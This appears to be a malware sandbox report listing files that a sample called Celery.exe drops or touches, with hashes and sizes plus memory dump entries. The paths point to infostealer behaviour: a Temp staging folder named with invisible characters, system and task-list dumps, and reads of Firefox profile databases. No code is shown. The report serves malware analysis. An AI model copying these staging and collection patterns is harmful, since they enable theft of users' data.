Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \Directories\Desktop.txt

Filesize
524B

MD5
a48a70eb03ce710e4e08ed250eb5d9d3

SHA1
e3a4c288af23b00105e3e12ba8760fd5089ce9b9

SHA256
6fdae14ce6f292e296ee0c54909c87c5b80e959cce34fce0bd9891e06646c8b6

SHA512
a2f636e5c330a9895a8b8a3b1dddebf5d7e1311ab01d90b4e40d791ce8f9ad507e87a247231aa8abbe59c14c3b010413690aa18d0157ae21352be16227ad15f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \Directories\Documents.txt

Filesize
711B

MD5
7990557a6d81adc30764bdc8cc8c7597

SHA1
ccb7c7784317cfca212a56b214758c8f7823bf12

SHA256
9b125ed4da785ae1bbedd7b2934c3c15055595fa5e6e7a00994a9c776a08d465

SHA512
597f66ed5bcef0d4493ae4c2fae3980d5f4d0b9c0262aebd88871d87c15b80b931fc9cbae338e37b9915bf9893dec790d612cecda93677ab9eb1a77c4fb72752

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \Directories\Downloads.txt

Filesize
734B

MD5
7c55f6093f077dc912bf8e257d86826b

SHA1
a0bf09e220fa28b16a6878eb5f15eaf0f6f0909b

SHA256
cb123571899fba3842056417594f59638289e6d021608a743316423c3a0660a6

SHA512
47dbd69b8b74f7852d526e969471df77e6b836aed53393cc5a8b187587a34158fb2f7aa6f81c28fe6b0df8b3617f2103d88b3cf4f696078ab83505bf14349654

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \Directories\Music.txt

Filesize
688B

MD5
667020c2a4151707aa05d450cac8c459

SHA1
c801ff22a501ff4d2a70b10eba71f377bd378036

SHA256
8a0c533d58a48d6e945053898866664145aaef4c9fd9ec986df65e445939fec9

SHA512
d67f0283f6917c6fdde121ca44d4dda53c8d17e4162fad33f74da8f71d0df8b6f46253b19bb923a77f64a3f7b12b3f4172b86f6ece559d41ec2630a98a76f62d

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \Directories\Pictures.txt

Filesize
673B

MD5
2ef0d565320bb5a987cd45c11642879f

SHA1
7bcccf047310e796817f3f80a7ee1dd2b27c1def

SHA256
57f4666c68923a89bd361962c103c4358ba87b7ecab7e55320461a262e18bdf6

SHA512
b835e7456b00d655ea91eb7d0809a63a72d9fa4bff51e0f907126a1b872ee1eae7772264567f82890415a652bd5753e93e217eac4295eb15c7fe6a0bb4b3a06d

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \Directories\Videos.txt

Filesize
30B

MD5
e140e10b2b43ba6f978bee0aa90afaf7

SHA1
bbbeb7097ffa9c2daa3206b3f212d3614749c620

SHA256
c3a706e5567ca4eb3e18543296fa17e511c7bb6bef51e63bf9344a59bf67e618

SHA512
df5b92757bf9200d0945afda94204b358b9f78c84fbaeb15bdf80eae953a7228f1c19fdf53ed54669562b8f0137623ea6cee38f38ef23a6f06de1673ff05733f

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \System\MAC Addresses.txt

Filesize
232B

MD5
08583feb83405aa450b2e98675378559

SHA1
0eb37a88893fb9e34c119624a8a023481b87137b

SHA256
59d55d5b668adbc8d4e03a23c3dc6c103f688ec79a8a69ffedc10d4b656bb63f

SHA512
ec999aef19adc49fb1083cf9b1543394ae3d5af53fa97e6901cbb9efac6cbf4d68cf8ff7c819055a575cda9c755ce7974a2a307820cf7d77561f2a54f817e323

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \System\System Info.txt

Filesize
2KB

MD5
b9131153b58b6a9708005da2ac8a4f67

SHA1
13ad580d056fcca25ca1cc14fa23376bde24b03f

SHA256
0ab73407708f03572707ed55187830f4114659606155bd76bc42c65b054d6f60

SHA512
d2c41d9956ce3d42e3d7083e11af17837b7e3a4c17adfb930d37c564b7c065d2637f69ca3ec0429e8f8c65dce2af5fdc5ec080cadeaefb72a601d7c7d16c8c24

Download Submit
C:\Users\Admin\AppData\Local\Temp\‎  ‍ \System\Task List.txt

Filesize
11KB

MD5
454996796fb038b56d98efb67b0ae3d2

SHA1
d5b468a0029fd1c0b3ef8db2ff1bba41ec38f2f1

SHA256
fcb17a830c6118327ef8e47433ad3df1109f8c8f72af12d10851b7cbd8fbf494

SHA512
1b6beaffa6ea1a4de8e7a0d59b7e3743235bf1b4318e083c34cccc79d0acf50bbc4641ef7393cff99e3b3c57db89fcb39730c29461f7a5c1aca375d53bde7b1e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\datareporting\glean\db\data.safe.bin

Filesize
2KB

MD5
5b427698df7f93ddc76880a5186d8d42

SHA1
7cdcd262de8c263c468753d960c835ff07bd03b5

SHA256
399932458986d3796079ce4881801fef7f1a4b6aae84385c60fc5a83dc6a4ba5

SHA512
43d75b0768caa6dc4bc1ba638c8fb1a40de7f79fdd654fd19c4bcc980dc6e13eee6daa319d93c32e87c540a1892366404653d0514d2d31e51a57c90914ea36b2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\datareporting\glean\pending_pings\a9e705f2-55c5-4d14-9a14-f21c001b6f62

Filesize
746B

MD5
2aa78c6888dfabaddb17293b1fcae28b

SHA1
c32ca3df2ea09102de9152af7f620dfdf32760ee

SHA256
a54aafb20726baadb9f753fd1e9d5bdfcd24eabca48f5146dbc7936f1a7fc26a

SHA512
9a41e9996f360e5ee9b469a50f5922eb8a8c19e4dd853740b85470dabfc05226be6032167fcf6621fad0b48e5b2328ac4115633b8ec95163b716dbf66cde9deb

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\datareporting\glean\pending_pings\cd13d7b5-a0ef-4e04-8914-48ad31bf27c3

Filesize
10KB

MD5
beaed8352f76de80913860bfbc374084

SHA1
c28c2248e073567f1390f13ff81deb1c5f0d8f3c

SHA256
9a4ce75092d8d32e6e2c291cb4983eddccc99afba9605e64ab2fdb6e8854f80a

SHA512
a7bb61e9180ec4978c293fd0455b27a8986cd65edcc4a94fd2e1fd7cddd580cccd9fc4e2f449a951b78a62d156f8a27f36c5ed8a15ee6ba9feb771501acb549f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\places.sqlite

Filesize
5.0MB

MD5
2306154842f46fc6974a8dad82b7e2ac

SHA1
96ecc4bb7327f233079225548be8249821c4b4f1

SHA256
57de4546ef90404d423245850ca8fcb68343f82c4725871e2828c525b2844c41

SHA512
6e326b58c5130493697492f3f105d52e23e4e2b5a97bfa1e42a963edc6b92b0944da5e645bdf3e5349a741095c4b285c7f28962ab32aad65f89b9010c9c09c6d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\prefs-1.js

Filesize
6KB

MD5
52c70e2705b6a690d174a3f41e05875f

SHA1
1bac29ddc0853788480cae40c52f519f2982fe5a

SHA256
d38b48a6efc1902c06589f90e53c5d85786e72f1152ca111ebfd22bc5945173b

SHA512
04ba3cdab475b778944132d7e88a4bfe7876d1aa4b13a80dbfb542a180dd1774e21e131ba3f1c2773e634e8df750adeef0ee8573e0d7c37a6ce0d424f6022c8b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\protections.sqlite

Filesize
64KB

MD5
deeced8825e857ead7ba3784966be7be

SHA1
e72a09807d97d0aeb8baedd537f2489306e25490

SHA256
b9f022442a1506e592bf51284091a8a7fe17580b165d07e70c06fd6827343a54

SHA512
01d303232d6481af322137b44fef6c2a584f0643c48bab2836f9fe3193207015da7f7514fe338500ae4469651e3d9618293858ae507e722198a249257677099e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\sessionCheckpoints.json.tmp

Filesize
288B

MD5
948a7403e323297c6bb8a5c791b42866

SHA1
88a555717e8a4a33eccfb7d47a2a4aa31038f9c0

SHA256
2fca1f29b73dd5b4159fa1eb16e69276482f5224ba7d2219a547039129a51f0e

SHA512
17e2f65c33f47c8bb4beca31db2aff3d4bbb6c2d36924057f9f847e207bdcb85ffcbb32c80dd06862ffc9b7f0bd3f5e2e65b48bb1bc3363732751101d5596b1a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
259831a7e7cf6e4b1dca52ea0d2c4d14

SHA1
156599ed6259e72870b459c5a7a1403c189083b8

SHA256
6454dc4ce3848e26ec51a6f3d6be8bc9560fa1abc2baf634d0bb92a883840c09

SHA512
66c6a1fb82c5b7dfb1690224a65a8ad9f387d0ed1479dc753a957bbcceba1c5f692ac657d4972933fbe6f83f22ea09c12143bcec54a6912dc1e34e6f0b6f679a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\sessionstore.jsonlz4

Filesize
911B

MD5
10b6a6769fc9ddc59276c623195bc79f

SHA1
ed70ff1a5fe49ab9bb7a5634c5b9e533e759424f

SHA256
f1d5d7f23f2be71792aac39994f650fc9470638acda7f32963912e0ec39a46e2

SHA512
842258707d676cc8556822bf70e8d9160e0b869d8b447a8c6a0cf2871e53f5bf8d232459522ea64099c61a5492bc50d2f0be8f97ee98477ee942ee00ab439f08

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c5nsco79.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

Filesize
184KB

MD5
f72c2c8a738f1bdd4a5e24326ff248df

SHA1
d60277881f6b36509d709948fcf7ed3ec3da74a6

SHA256
06575a0a693c9e0f265fcf03ee5b6ced4dd922ac999f5d767a9a7d92fb199082

SHA512
7fa2cc3e4f6e6f9c77fc12e188a0ef4e5dfd9079e1ddd2d689669513bd2e512136ac4485b34aa0ed8587c8cd519572d31eb2496b4091e229b6c339bf25c27d6a

Download Submit
C:\Users\Admin\Downloads\Celery.evhbGLYg.exe.part

Filesize
14KB

MD5
e2d935808810285e055eda656346d02f

SHA1
e59146ac324020e7a671a79dcbff4b7c842a196c

SHA256
29d0bb3b7795e033dbe43ca6ee40017715ef669f02cf9bb94b18bc7a391e88ea

SHA512
8095908ffda7bfbb13ed28cff05c3870cf4b2c26fb34b67bf6b817d9760b8bb88171ca7b9d892ea638269e8c0a44c0c2763ca2b8e09f57d8a271d16ffb37987e

Download Submit
C:\Users\Admin\Downloads\Celery.exe

Filesize
7.5MB

MD5
21e62c247bf7140022cdc946c0489092

SHA1
f2a415fff8664db84f64b40ae9ea389a57e57199

SHA256
3f9f0d1e9b7b1730647b5f1ed5ca8b872159dd5360656aa8b71f056a524efd95

SHA512
19bb90d9955a6e7a441b37631082bc4ebfda456f037eb72bc81c8d50740e244f19b97e67bab7f26a8f34d10d2ff5fd59309fe42445ef195a66afd24e29b33ea0

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI47522\_ctypes.pyd

Filesize
59KB

MD5
a8cb7698a8282defd6143536ed821ec9

SHA1
3d1b476b9c042d066de16308d99f1633393a497a

SHA256
40d53a382a78b305064a4f4df50543d2227679313030c9edf5ee82af23bf8f4a

SHA512
1445ae7dc7146afbe391e131baff456445d7e96a3618bfef36dc39af978dd305e3a294acd62ee91a050812c321a9ec298085c7ad4eb9b81e2e40e23c5a85f2cc

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI47522\libcrypto-3.dll

Filesize
1.6MB

MD5
7f1b899d2015164ab951d04ebb91e9ac

SHA1
1223986c8a1cbb57ef1725175986e15018cc9eab

SHA256
41201d2f29cf3bc16bf32c8cecf3b89e82fec3e5572eb38a578ae0fb0c5a2986

SHA512
ca227b6f998cacca3eb6a8f18d63f8f18633ab4b8464fb8b47caa010687a64516181ad0701c794d6bfe3f153662ea94779b4f70a5a5a94bb3066d8a011b4310d

Download Submit
\Users\Admin\AppData\Local\Temp\_MEI47522\libssl-3.dll

Filesize
222KB

MD5
264be59ff04e5dcd1d020f16aab3c8cb

SHA1
2d7e186c688b34fdb4c85a3fce0beff39b15d50e

SHA256
358b59da9580e7102adfc1be9400acea18bc49474db26f2f8bacb4b8839ce49d

SHA512
9abb96549724affb2e69e5cb2c834ecea3f882f2f7392f2f8811b8b0db57c5340ab21be60f1798c7ab05f93692eb0aeab077caf7e9b7bb278ad374ff3c52d248

Download Submit
memory/356-234-0x000001BB4C5D0000-0x000001BB4C5F2000-memory.dmp

Filesize
136KB

Download
memory/3388-188-0x00007FFCA5120000-0x00007FFCA512F000-memory.dmp

Filesize
60KB

Download
memory/3388-568-0x00007FFC94A60000-0x00007FFC94B2D000-memory.dmp

Filesize
820KB

Download
memory/3388-200-0x00007FFCA4380000-0x00007FFCA439A000-memory.dmp

Filesize
104KB

Download
memory/3388-208-0x00007FFCA46E0000-0x00007FFCA46ED000-memory.dmp

Filesize
52KB

Download
memory/3388-173-0x00007FFCA4B70000-0x00007FFCA4B95000-memory.dmp

Filesize
148KB

Download
memory/3388-212-0x00007FFC94CF0000-0x00007FFC953B5000-memory.dmp

Filesize
6.8MB

Download
memory/3388-204-0x00007FFC94B70000-0x00007FFC94CEE000-memory.dmp

Filesize
1.5MB

Download
memory/3388-202-0x00007FFCA3CB0000-0x00007FFCA3CD4000-memory.dmp

Filesize
144KB

Download
memory/3388-551-0x00007FFC94B30000-0x00007FFC94B63000-memory.dmp

Filesize
204KB

Download
memory/3388-198-0x00007FFCA48A0000-0x00007FFCA48CD000-memory.dmp

Filesize
180KB

Download
memory/3388-218-0x0000023E9F500000-0x0000023E9FA29000-memory.dmp

Filesize
5.2MB

Download
memory/3388-168-0x00007FFC94CF0000-0x00007FFC953B5000-memory.dmp

Filesize
6.8MB

Download
memory/3388-213-0x00007FFC94A60000-0x00007FFC94B2D000-memory.dmp

Filesize
820KB

Download
memory/3388-210-0x00007FFC94B30000-0x00007FFC94B63000-memory.dmp

Filesize
204KB

Download
memory/3388-366-0x00007FFC94B70000-0x00007FFC94CEE000-memory.dmp

Filesize
1.5MB

Download
memory/3388-216-0x00007FFCA4B70000-0x00007FFCA4B95000-memory.dmp

Filesize
148KB

Download
memory/3388-220-0x00007FFC94510000-0x00007FFC94524000-memory.dmp

Filesize
80KB

Download
memory/3388-217-0x00007FFC94530000-0x00007FFC94A59000-memory.dmp

Filesize
5.2MB

Download
memory/3388-222-0x00007FFCA4370000-0x00007FFCA437D000-memory.dmp

Filesize
52KB

Download
memory/3388-206-0x00007FFCA1C50000-0x00007FFCA1C69000-memory.dmp

Filesize
100KB

Download
memory/3388-225-0x00007FFC94390000-0x00007FFC944AB000-memory.dmp

Filesize
1.1MB

Download
memory/3388-592-0x00007FFC94530000-0x00007FFC94A59000-memory.dmp

Filesize
5.2MB

Download
memory/3388-593-0x0000023E9F500000-0x0000023E9FA29000-memory.dmp

Filesize
5.2MB

Download
memory/3388-224-0x00007FFCA3CB0000-0x00007FFCA3CD4000-memory.dmp

Filesize
144KB

Download
memory/3388-617-0x00007FFC94CF0000-0x00007FFC953B5000-memory.dmp

Filesize
6.8MB

Download
memory/3388-631-0x00007FFC94390000-0x00007FFC944AB000-memory.dmp

Filesize
1.1MB

Download
memory/3388-630-0x00007FFCA4370000-0x00007FFCA437D000-memory.dmp

Filesize
52KB

Download
memory/3388-629-0x00007FFC94510000-0x00007FFC94524000-memory.dmp

Filesize
80KB

Download
memory/3388-628-0x00007FFC94530000-0x00007FFC94A59000-memory.dmp

Filesize
5.2MB

Download
memory/3388-627-0x00007FFC94A60000-0x00007FFC94B2D000-memory.dmp

Filesize
820KB

Download
memory/3388-626-0x00007FFC94B30000-0x00007FFC94B63000-memory.dmp

Filesize
204KB

Download
memory/3388-625-0x00007FFCA46E0000-0x00007FFCA46ED000-memory.dmp

Filesize
52KB

Download
memory/3388-624-0x00007FFCA1C50000-0x00007FFCA1C69000-memory.dmp

Filesize
100KB

Download
memory/3388-623-0x00007FFC94B70000-0x00007FFC94CEE000-memory.dmp

Filesize
1.5MB

Download
memory/3388-622-0x00007FFCA3CB0000-0x00007FFCA3CD4000-memory.dmp

Filesize
144KB

Download
memory/3388-621-0x00007FFCA4380000-0x00007FFCA439A000-memory.dmp

Filesize
104KB

Download
memory/3388-620-0x00007FFCA48A0000-0x00007FFCA48CD000-memory.dmp

Filesize
180KB

Download
memory/3388-619-0x00007FFCA5120000-0x00007FFCA512F000-memory.dmp

Filesize
60KB

Download
memory/3388-618-0x00007FFCA4B70000-0x00007FFCA4B95000-memory.dmp

Filesize
148KB

Download
memory/4204-239-0x000001EC6D870000-0x000001EC6D8E6000-memory.dmp

Filesize
472KB

Download